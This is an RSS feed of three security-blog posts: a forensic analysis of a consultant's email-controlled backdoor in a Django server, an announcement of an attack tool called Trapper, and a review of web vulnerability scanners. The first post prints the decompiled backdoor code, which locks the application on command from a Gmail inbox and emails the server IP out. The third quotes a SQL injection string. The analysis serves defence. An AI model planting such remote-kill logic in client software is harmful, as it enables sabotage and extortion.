<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
	xmlns:slash="http://purl.org/rss/1.0/modules/slash/"
	>

<channel>
	<title>Security Dojo &#187; &#187; hacker</title>
	<atom:link href="http://security-dojo.com/tags/hacker/feed/" rel="self" type="application/rss+xml" />
	<link>http://security-dojo.com</link>
	<description>Sending your logs to  /dev/null since 1976</description>
	<lastBuildDate>Mon, 26 Mar 2012 20:55:02 +0000</lastBuildDate>
	<language>en</language>
	<sy:updatePeriod>hourly</sy:updatePeriod>
	<sy:updateFrequency>1</sy:updateFrequency>
	<generator>http://wordpress.org/?v=3.3.1</generator>
		<item>
		<title>[Your worst enemy: The rogue consultant/admin] py_util.pyc LOCK/UNLOCK backdoor over email</title>
		<link>http://security-dojo.com/programming-bits/your-worst-enemy-the-rogue-consultantadmin-py_util-pyc-lockunlock-backdoor-over-email/</link>
		<comments>http://security-dojo.com/programming-bits/your-worst-enemy-the-rogue-consultantadmin-py_util-pyc-lockunlock-backdoor-over-email/#comments</comments>
		<pubDate>Sat, 24 Mar 2012 01:58:05 +0000</pubDate>
		<dc:creator>Enrique Alfonso Sanchez Montellano</dc:creator>
				<category><![CDATA[linux]]></category>
		<category><![CDATA[Programming]]></category>
		<category><![CDATA[Security]]></category>
		<category><![CDATA[Tu Peor Enemigo]]></category>
		<category><![CDATA[backdoor]]></category>
		<category><![CDATA[django]]></category>
		<category><![CDATA[Enrique Alfonso Sanchez Montellano]]></category>
		<category><![CDATA[ethics]]></category>
		<category><![CDATA[hacker]]></category>
		<category><![CDATA[python]]></category>

		<guid isPermaLink="false">http://security-dojo.com/?p=169</guid>
		<description><![CDATA[I recently had to actually do a fast forensic job for a friend, he asked me some help as he was taking over some business which were &#8220;abandoned&#8221; by an &#8220;open source consultant&#8221; which is to say pretty much installs everything on linux and does half coding in this case. The problem raised when as [...]]]></description>
			<content:encoded><![CDATA[<p>I recently had to actually do a fast forensic job for a friend, he asked me some help as he was taking over some business which were &#8220;abandoned&#8221; by an &#8220;open source consultant&#8221; which is to say pretty much installs everything on linux and does half coding in this case.</p>
<p>The problem raised when as soon as they took over the network within the hour a critical system for the business stopped working, this was more than suspicious as before in another business that was also admin by this person before had some files erased and configurations lost when it was transitioned to another admin because of lack of administration and ethics on the admin part.</p>
<p>First I tried to decompile the python files form the Django server, this was because obviously all the servers where blocked but for port 80. My friend innocently forgot to block all access to the internet as he thought that was not that hardcore important (#FAIL) and he didn&#8217;t really think this person (who know actually is consulting for a major bank in Mexico) would backdoor and do this type of stuff.</p>
<p>The first thing was to run it on strings to figure out what is there (credentials and paths removed for security reasons):</p>
<blockquote><p>
fsckOSX:~ nahual$ strings py_util.pyc<br />
EmailMultiAlternatives(<br />
MIMEImage(<br />
datetimeN(<br />
Parsers<br />
fxxxxxxxxxxo@gmail.comt<br />
mxxxgyyczzt<br />
LOCKSYSTEMt<br />
UNLOCKSYSTEMt<br />
GETIPs$<br />
/home/xxxxxxx/svn/yyyyyyyy/.python.logc<br />
pop.gmail.comi<br />
Subjectt<br />
bloqueandot<br />
desbloqueandot8<br />
2baa224d0a3515912218fd88c1dd9d90d347c451c67811ac6240f4a1(<br />
poplibt<br />
POP3_SSLt<br />
usert<br />
pass_t<br />
passwdt<br />
Exceptiont<br />
lent<br />
listt<br />
ranget<br />
retrt<br />
joinR<br />
parsestrt<br />
LOCKt<br />
opent<br />
file_logt<br />
writet<br />
closet<br />
UNLOCKR<br />
check_ipt<br />
quit(<br />
errt<br />
numerot<br />
responset<br />
headerLinest<br />
bytest<br />
mensajet<br />
emailt<br />
subjectt<br />
/home/xxxxxxx/svn/yyyyyyy/../yyyyyyy/py_util.pyt<br />
check_locker<br />
setup_environ(<br />
BeautifulSoups<br />
hxxxxxxx3@gmail.comR</p>
<p>http://www.cualesmiip.comt</p>
<p>divt<br />
miipt<br />
IP del servidort<br />
from_emails<br />
text/html(<br />
urllib2t<br />
django.core.managementR/<br />
xml.dom.minidomR0<br />
settingst<br />
urlopent<br />
readt<br />
findt<br />
findAllR<br />
DEFAULT_FROM_EMAILt<br />
attach_alternativet<br />
send(<br />
xmlR0<br />
listmailt<br />
contentt<br />
feedR&#038;<br />
html_contentR,<br />
msg(<br />
/home/xxxxxxx/svn/yyyyyy/../yyyyyy/py_util.pyR<br />
__main__(<br />
django.core.mailR<br />
email.MIMEImageR<br />
smtplibR<br />
email.ParserR<br />
__name__(<br />
/home/xxxxxxxx/svn/yyyyyy/../yyyyy/py_util.pyt<br />
<module><br />
fsckOSX:~ nahual$
</p></blockquote>
<p>py_util.pyc wouldn&#8217;t fastly decompile, thus after putting it into IDA and other nice decompile this is what was found (credentials removed for security reasons):</p>
<p><code><br />
from django.core.mail import EmailMultiAlternatives<br />
from email.MIMEImage import MIMEImage<br />
from datetime import datetime<br />
import smtplib<br />
import poplib<br />
from email.Parser import Parser</p>
<p>user = 'xxxxxx'<br />
passwd = 'xxxxxxxx'<br />
LOCK = 'LOCKSYSTEM'<br />
UNLOCK = 'UNLOCKSYSTEM'<br />
GETIP = 'GETIP'<br />
file_log = '/home/xxxxx/svn/yyyyyy/.python.log'</p>
<p>def check_locker():<br />
    try:<br />
        m = poplib.POP3_SSL('pop.gmail.com', 995)<br />
        m.user(user)<br />
        m.pass_(passwd)<br />
    except Exception, err:<br />
        print err<br />
    else:<br />
        numero = len(m.list()[1])<br />
        for i in range(numero):<br />
            (response, headerLines, bytes) = m.retr(i + 1)<br />
            mensaje = '\n'.join(headerLines)<br />
            p = Parser()<br />
            email = p.parsestr(mensaje)<br />
            subject = email['Subject']<br />
            if (subject == LOCK):<br />
                print 'bloqueando'<br />
                f = open(file_log, 'w')<br />
                f.write('')<br />
                f.close()<br />
            elif (subject == UNLOCK):<br />
                print 'desbloqueando'<br />
                f = open(file_log, 'w')<br />
                f.write('xxxxxxxxxxxxx')<br />
                f.close()<br />
            elif (subject == GETIP):<br />
                check_ip()<br />
        m.quit()</p>
<p>def check_ip():<br />
    import urllib2<br />
    from django.core.management import setup_environ<br />
    import xml.dom.minidom<br />
    from BeautifulSoup import BeautifulSoup<br />
    import settings<br />
    setup_environ(settings)<br />
    listmail = ['xxxxxxxx@gmail.com']<br />
    content = ''<br />
    feed = urllib2.urlopen('http://www.google.com')<br />
    response = BeautifulSoup(feed.read())<br />
    html_content = response.find('div', {'id': 'miip'}).findAll('b')[0]<br />
    subject = 'IP del servidor'<br />
    msg = EmailMultiAlternatives(subject, content, to=listmail, from_email=settings.DEFAULT_FROM_EMAIL)<br />
    msg.attach_alternative(html_content, 'text/html')<br />
    msg.send()<br />
if (__name__ == '__main__'):<br />
    check_ip()<br />
</code></p>
<p>As you can see the backdoor is pretty small and &#8220;efficient&#8221;, it checks a gmail account, if an email to that account is sent with the LOCKSYSTEM it will automatically shutdown the application, and you can of course unlock the system with another email.</p>
<p>This might be coded because they thought maybe the client wouldn&#8217;t pay them? why would he code something like this without the client consent? no documentation was delivered from the code, and as soon as the admin/developer was let go, the system was shutdown within the hour, sounds to me more like a blackmail function than a current admin function as it only turns off the system, no backups anything.</p>
<p>This makes me wonder why this would be created? or executed? I thought about writing a fast and ugly rule to make sure if anything happened like this again at least the snorts would be alerted and told my friend to lock down the firewall rules, but this lack of ethics is overwhelming, I wonder what the bank would think of him being used to backdoor stuff to keep a foot in the door? jeeeeezzzzz</p>
<p>Snort rule would not really work as it&#8217;s doing pop3 over SSL, but then blocking port 993 should lock him out, still &#8230; why people do this? don&#8217;t they understand this lack of ethics is preposterous? </p>
]]></content:encoded>
			<wfw:commentRss>http://security-dojo.com/programming-bits/your-worst-enemy-the-rogue-consultantadmin-py_util-pyc-lockunlock-backdoor-over-email/feed/</wfw:commentRss>
		<slash:comments>3</slash:comments>
		</item>
		<item>
		<title>Trapper from sniffer to hydra</title>
		<link>http://security-dojo.com/security-bits/trapper-from-sniffer-to-hydra/</link>
		<comments>http://security-dojo.com/security-bits/trapper-from-sniffer-to-hydra/#comments</comments>
		<pubDate>Sun, 13 Jun 2010 18:45:57 +0000</pubDate>
		<dc:creator>Enrique Alfonso Sanchez Montellano</dc:creator>
				<category><![CDATA[Security]]></category>
		<category><![CDATA[campus party]]></category>
		<category><![CDATA[Enrique Alfonso Sanchez Montellano]]></category>
		<category><![CDATA[hacker]]></category>
		<category><![CDATA[hydra]]></category>
		<category><![CDATA[ruby]]></category>
		<category><![CDATA[trapper]]></category>

		<guid isPermaLink="false">http://security-dojo.com/?p=108</guid>
		<description><![CDATA[This is the presentation I&#8217;m going to push in Campus Party and in Sec-T in Sweden in september. This is a complete recode of trapper, even changing the language for ruby, having namespaces on it and the capabilities to attack and exploit miss-configurations. I&#8217;m going to be exporting a git repository the first week of [...]]]></description>
			<content:encoded><![CDATA[<p>This is the presentation I&#8217;m going to push in Campus Party and in <a href="http://www.sec-t.org">Sec-T</a> in Sweden in september.</p>
<p>This is a complete recode of trapper, even changing the language for ruby, having namespaces on it and the capabilities to attack and exploit miss-configurations.</p>
<p>I&#8217;m going to be exporting a git repository the first week of August with the public version of Trapper 1.0 in git.security-dojo.com (It&#8217;s not setup yet so don&#8217;t even try) and version 1.1 should hit around september in Sec-T.</p>
<p>What stuff is being coded or tested now?</p>
<p>- Sniffing<br />
- Cracking the hashes<br />
- Using hashes to bring more hosts into the game<br />
- Reading emails<br />
- Reading applications<br />
- SSH and telnet into hosts<br />
- Start other sniffer heads in different OS (This is going to take time but oh well)<br />
- More to come!</p>
<p>If you are interested in beta testing Trapper drop me an email, you might not get the chance since I&#8217;m really picky on who betas my stuff but you can try :P</p>
]]></content:encoded>
			<wfw:commentRss>http://security-dojo.com/security-bits/trapper-from-sniffer-to-hydra/feed/</wfw:commentRss>
		<slash:comments>3</slash:comments>
		</item>
		<item>
		<title>[Your Worst Enemy] Your Web Scanner</title>
		<link>http://security-dojo.com/tu-peor-enemigo/your-worst-enemy-your-web-scanner/</link>
		<comments>http://security-dojo.com/tu-peor-enemigo/your-worst-enemy-your-web-scanner/#comments</comments>
		<pubDate>Mon, 22 Feb 2010 01:58:10 +0000</pubDate>
		<dc:creator>Enrique Alfonso Sanchez Montellano</dc:creator>
				<category><![CDATA[Tu Peor Enemigo]]></category>
		<category><![CDATA[Enrique Alfonso Sanchez Montellano]]></category>
		<category><![CDATA[hacker]]></category>
		<category><![CDATA[NTOSpider]]></category>
		<category><![CDATA[Security]]></category>
		<category><![CDATA[web scanner]]></category>
		<category><![CDATA[your worst enemy]]></category>

		<guid isPermaLink="false">http://security-dojo.com/?p=57</guid>
		<description><![CDATA[Recently I saw an article about web scanners, I personaly don&#8217;t like them, why? well 1. They are slow 2. They don&#8217;t have a sense of &#8220;weight&#8221; on the exploits 3. They miss half of the complex stuff Couple of weeks ago we lost a bid based on the fact that the client tought we [...]]]></description>
			<content:encoded><![CDATA[<p>Recently I saw an article about web scanners, I personaly don&#8217;t like them, why? well </p>
<p>1. They are slow<br />
2. They don&#8217;t have a sense of &#8220;weight&#8221; on the exploits<br />
3. They miss half of the complex stuff</p>
<p>Couple of weeks ago we lost a bid based on the fact that the client tought we did everything automatic (Errr LoL! apparently they don&#8217;t read the blog, didn&#8217;t read my resume and didn&#8217;t reaaaaally understood some facts but then again who can blame the girl that was in charge?) this was hilarious but posed a very good question:</p>
<p><strong>Why all scanners <del> SUCK</del> ARE BAD?</strong></p>
<p><span id="more-57"></span></p>
<p>I&#8217;m not saying I&#8217;m way better than all of them, but given enough time I can find even more stuff than them on simple and way more on complex privilege escalation ones, I find myself writting my own tools for jobs and trying to make them as smart as I can, this is really a fun but slow job.</p>
<p>You would really think that since ALL webscanners have sites to try your scanner against they would make sure they would get most of the bugs even on those sites right? .. WROOOOOOOOONG most scanners found 50% of the bugs, God that makes you feel such a nice feeling, knowing you just got a very expensive web scanner to find .. HALF OF YOUR BUGS!</p>
<p>Anyway most of people know I usually get get software and products to break them up and then just either keep them (like my cisco routers) or give them back (like the Tipping Points &#8230; I never get to keep one! -_- ), this time I got the &#8220;pepsi challenge&#8221; from <a href="http://www.ntobjectives.com">NT Objectives</a> couple of weeks ago, and I was pleasantly surprised when I managed to hack into my intranet test sites before it, with a nice smile waited untill it finished saw the report, then passed the next 2 days trying to figure out 30% of the bugs it found.</p>
<p>I contacted them and chatted to them, I showed them my results and they showed me how to reproduce it raw and on HTML and I finally figured those out, I didn&#8217;t even know my sites had those bugs, I started o read up on their site and chat with their engineers and realized they have JavaScript Machines not to only parse the code but to actually run it, so they actually try different variations to bypass the javascript, try referer SQL injections, save web pages to actually find and differentiate from Blind SQL Injection AND (And this got me in love with the damn scanner) they actually find the COMPLETE injection, not just like &#8220;ok this breaks thank you for using our scanner now go make the exploit work yourself&#8221; kind of deal, noooo nooo noooo I mean this dudes find the entire SQL string you can just click on &#8220;verify&#8221; and you can check the exploit and get the URL to push it into your favorite injection tool if you want, figuring that out usually takes a while and is annoying (on this specific site the bug was inside a procedure so most of the scanners just broke the stuff but never really exploited and they found the ) and made the &#8220;<em>foo&#8217;) or (1=1</em>&#8221; to gather how bad or good was the injection.</p>
<p>I&#8217;m really not going to go into detail in the results and how good it is, all I can say is .. I went and bought it for myself, dropping all the other web scanners, don&#8217;t need them anymore at all, I still run everthing by hand anyway, but I feel confident than the low hanging fruit will be covered by this thing and hasn&#8217;t failed me yet.</p>
<p>I&#8217;ll leave you with the links so you can read up on the report, I found it very interesting!</p>
<p><a href="http://news.slashdot.org/story/10/02/06/1933211/Web-App-Scanners-Miss-Half-of-Vulnerabilities"> Slashdot link covering the report </a><br />
<a href="http://ha.ckers.org/blog/20100203/accuracy-and-time-costs-of-web-application-security-scanner-report/">Original report</a><br />
<a href="http://ha.ckers.org/files/Accuracy_and_Time_Costs_of_Web_App_Scanners.pdf">PDF of the report</a></p>
]]></content:encoded>
			<wfw:commentRss>http://security-dojo.com/tu-peor-enemigo/your-worst-enemy-your-web-scanner/feed/</wfw:commentRss>
		<slash:comments>1</slash:comments>
		</item>
	</channel>
</rss>

